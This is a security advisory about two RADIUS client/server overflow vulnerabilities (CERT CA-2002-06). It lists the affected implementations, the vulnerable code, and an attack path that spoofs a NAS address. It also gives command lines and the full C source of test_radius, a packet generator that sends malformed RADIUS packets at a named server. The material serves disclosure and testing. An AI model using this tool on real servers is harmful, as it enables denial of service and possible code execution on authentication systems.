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COMMAND RADIUS client/server remote overflow (buffer/heap) SYSTEMS AFFECTED Buffer overflow (vuln 1) * Ascend RADIUS versions 1.16 and prior * Cistron RADIUS versions 1.6.4 and prior * FreeRADIUS versions 0.3 and prior * GnuRADIUS versions 0.95 and prior * ICRADIUS versions 0.18.1 and prior * Livingston RADIUS versions 2.1 and earlier * RADIUS (commonly known as Lucent RADIUS) versions 2.1 and prior * RADIUSClient versions 0.3.1 and prior * YARD RADIUS 1.0.19 and prior * XTRADIUS 1.1-pre1 and prior Heap overflow (vuln 2) * Cistron RADIUS versions 1.6.5 and prior * FreeRADIUS versions 0.3 and prior * ICRADIUS versions 0.18.1 and prior * Livingston RADIUS versions 2.1 and earlier * YARD RADIUS 1.0.19 and prior * XTRADIUS 1.1-pre1 and prior PROBLEM From CERT [http://www.cert.org] advisory [CA-2002-06], and 3APA3A original discovery [http://security.nnov.ru] (see /advisories/radius.asp) : Radius vuln #1 [cert id 589523], --snipp-- During the message digest calculation, a string containing the shared secret is concatenated with a packet received without checking the size of the target buffer. This makes it possible to overflow the buffer with shared secret data. This can lead to a denial of service against the server. If the shared secret is known by the attacker, then it may be possible to use this information to execute arbitrary code with the privileges of the victim RADIUS server or client, usually root. It should be noted that gaining knowledge of the shared secret is not a trivial task. This bug presents in all RADIUS implementations derived from Merit/Ascend. Function, where overflow occurs may have different names: response_match(): Merit calc_digest()/calc_acctdigest(): Livingston, Cistron and derived rc_check_reply(): radclient rad_proxy()/calc_acctreq()/build_packet(): yardradius Vulnerable piece of code looks like: memcpy(buffer+len, secret, secretlen); --snapp-- Radius vuln #2 [cert id 936683], --snipp-- RADIUS servers and clients fail to validate the vendor-length inside vendor-specific attributes. The vendor-length shouldn\'t be less than 2. If vendor-length is less than 2, the RADIUS server (or client) calculates the attribute length as a negative number. The attribute length is then used in various functions. In most RADIUS servers the function that performs this calculation is rad_recv() or radrecv(). Some applications may use the same logic to validate user-specific attributes and be vulnerable via the same method. If Vendor-Length is 0 data size will be calculated as negative number. Later memcpy is called with this number to copy data. In most systems result of this attack will be DoS against RADIUS (if memcpy() implementation is not completely flawed). In most RADIUS servers vulnerable function is rad_recv() or radrecv(). Vulnerable piece of code looks like : { ptr += 4; vendorlen = attrlen - 4; attribute = *ptr++ | (vendorcode << 16); attrlen = *ptr++; attrlen -= 2; length -= 6; } Some implementation has the same bug in processing of USR-specific attributes (and other non-standard Vendor-Specific attributes). This bug can be exploited with any type of RADIUS packet. --snapp-- Exploit : ======= To exploit this vulnerabilities against RADIUS server attacker should be able to send RADIUS packets from IP of registered NAS. Since RADIUS uses UDP as transport layer it\'s easy to spoof NAS\' IP address. Since both bugs occurs before packet is validated no knowledge of shared secret required. To exploit this vulnerability against RADIUS client (NAS) attacker should guess client\'s UDP port. In many cases this port is predictable. Attached test_radius tool may help you to reproduce situation (it doesn\'t spoof IP, so then testing against RADIUS server IP of the host you running this tool should be registered as valid NAS). test_radius may also be obtained from : http://www.security.nnov.ru/files/test_radius.c For (1) buffer overflowed by shared secret which (in general case) is not known to attacker. Attacker is not able to control this data, but he is able to control length of the data. It makes it possible to make 1-byte or 2-bytes buffer overflow. In this case if last symbol(s) of shared secret is in appropriate range it may be possible to use this overflow for code execution in few implementation. Sometimes it looks possible to exploit it blindly, for example this is definition of buffer in one of RADIUS implementations: static int i_recv_buffer[RAD_BUFFER_SIZE]; static u_char *recv_buffer = (u_char *)i_recv_buffer; Receiving function works with recv_buffer. Theoretically it\'s possible to write to any memory location in 3 steps: 1. We do 1-byte overflow to change last byte of recv_buffer to point to middle of i_recv_buffer (it will happen only if last byte of shared secret is higher then lowest byte of i_recv_buffer address). 2. Now we can overwrite recv_buffer with data controlled by us with second packet. 3. Now data of the third packet will be written to location we choose. Of cause exploitation is only possible if all 3 packets are handled in the same thread (I didn\'t checked the code but probably it\'s true). I bet probability of successful exploitation is not high, but may be positive. to reproduce this problem you may use something like test_radius RADIUS_SERVER 1 100 MAX_PACKET_SIZE 10 1646 4 where RADIUS_SERVER is ip of your RADIUS host MAX_PACKET is compiled maximum packet size, you can try different: 1024, 2048, 4096, 8192, etc (this command will send radius accounting packet of MAX_PACKET_SIZE) (2) can be tested with test_radius RADIUS_SERVER 11 20 311 0 (malformed Microsoft MS-CHAP-Challenge packet) or test_radius RADIUS_SERVER 1 100 9 0 (malformed CISCO Cisco-AVPair packet) test_radius may also be used as a stress-testing tool against memory exhaustion problem described in [2]. test_radius RADIUS_SERVER 1 2 MAX_PACKET_SIZE 100000 -- test_radius.c -- /* * Copyright (c) 2000-2001 3APA3A * * $Id: test_radius.c,v 1.1.2.3 2001/09/28 17:25:05 vlad Exp $ */ #include <stdio.h> #include <string.h> #include <netdb.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #define AUTH_VECTOR_LEN 16 #define MAX_STRING_LEN 254 #define PW_AUTH_UDP_PORT 1645 #define PW_AUTHENTICATION_REQUEST 1 #define PW_VENDOR_SPECIFIC 26 #define VENDORPEC_USR 429 typedef unsigned int uint32_t; typedef unsigned short uint16_t; typedef unsigned char uint8_t; /* * Return an IP address from * one supplied in standard dot notation. */ uint32_t ip_addr(const char *ip_str) { struct in_addr in; if (inet_aton(ip_str, &in) == 0) return INADDR_NONE; return in.s_addr; } /* * Return an IP address in from a host * name or address in dot notation. */ uint32_t ip_getaddr(const char *host) { struct hostent *hp; uint32_t a; if ((a = ip_addr(host)) != INADDR_NONE) return a; if ((hp = gethostbyname(host)) == NULL) return (uint32_t) INADDR_NONE; /* * Paranoia from a Bind vulnerability. An attacker * can manipulate DNS entries to change the length of the * address. If the length isn\'t 4, something\'s wrong. */ if (hp->h_length != sizeof(uint32_t)) { return (uint32_t) INADDR_NONE; } memcpy(&a, hp->h_addr, sizeof(uint32_t)); return a; } static int getport(const char *name) { struct servent *svp; svp = getservbyname (name, \"udp\"); if (!svp) { return 0; } return ntohs(svp->s_port); } typedef struct radius_packet_t { uint8_t code; uint8_t id; uint16_t length; uint8_t vector[AUTH_VECTOR_LEN]; uint8_t data[4076]; } radius_packet_t; char buf[256]; int radius_send(char* radius, int ntimes, int attr, int size, int attlen, int port, int type) { int res=0; int sockfd; int total_length; unsigned dst_ipaddr; struct sockaddr_in saremote; struct sockaddr_in *sa; radius_packet_t packet; int i; int len; memset(&packet, 0, sizeof(packet)); if (!type) type = PW_AUTHENTICATION_REQUEST; if (!port) port = getport(\"radius\"); if (port == 0) port = PW_AUTH_UDP_PORT; if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) { return 1; } packet.code = type; packet.id=0; total_length = 0; total_length+=(4+AUTH_VECTOR_LEN); memset(packet.vector, 0, AUTH_VECTOR_LEN); dst_ipaddr = ip_getaddr(radius); sa = (struct sockaddr_in *) &saremote; memset ((char *) sa, \'\\0\', sizeof (saremote)); sa->sin_family = AF_INET; sa->sin_addr.s_addr = dst_ipaddr; sa->sin_port = htons(port); if(ntimes) { for (len=0, size-=total_length, i=0; size > 0; size-=len, i+=len){ len = (size > attlen)? attlen:size; if(len < 2) break; packet.data[i]=attr; packet.data[i+1]=len; if(len > 2) memset(packet.data + i + 2, \'A\', len - 2); } } else { i=0; packet.data[i++] = PW_VENDOR_SPECIFIC; packet.data[i++] = attlen; *((long*)(packet.data + i)) = htonl(size); i+=4; if (size == VENDORPEC_USR){ *((short *)(packet.data + i)) = htons(attr); i+=2; packet.data[i++] = 1; } else { packet.data[i++] = attr; packet.data[i++] = 1; packet.data[i++] = \'A\'; } if(attlen > 9){ memset(packet.data+i, \'A\', attlen-9); i=attlen; } ntimes = 1; } total_length+=i; packet.length = htons(total_length); for (i=0; i<ntimes; i++){ res = sendto(sockfd, &packet, total_length, 0, (struct sockaddr *)&saremote, sizeof(struct sockaddr_in)); if(res != total_length){ fprintf(stderr, \"sendto() failed\\n\"); return 2; } packet.id++; } return 0; } int main(int argc, char*argv[]){ int attr; int ntries; int attlen; int packlen; int port=0; int type=0; if (argc <6 || (attr = atoi(argv[2])) < 1 || (attlen = atoi(argv[3])) < 2 || (packlen = atoi(argv[4])) < 20 || (ntries = atoi(argv[5])) < 0) { printf (\"Usage : %s server attribute attribute_length packet_length count [port] [type]\\n\" \" server - ip address of target server (you must be listed as NAS\\n\" \" for this server because this code doesn\'t spoof IP)\\n\" \" attribute - attribute type code, > 0\\n\" \" attribute_length - length of attribute, must be between 1 and 255\\n\" \" packet_length - length of packet, >20\\n\" \" count - number of packets to send. If count = 0 single malformed\\n\" \" Vendor-Specific is sent with Vendor-Code of packet_length\\n\" \" and Vendor-Type of attribute\\n\" \" port - target UDP port\\n\" \" type - type of RADIUS request. Authentication Request by default\\n\", argv[0]); return 1; } if (argc >= 7) port = atoi(argv[6]); if (argc >= 8) type = atoi(argv[7]); return radius_send( argv[1], ntries, attr, packlen, attlen, port, type); } SOLUTION For a complete list of the various vendors patch see : http://www.cert.org/advisories/CA-2002-06.html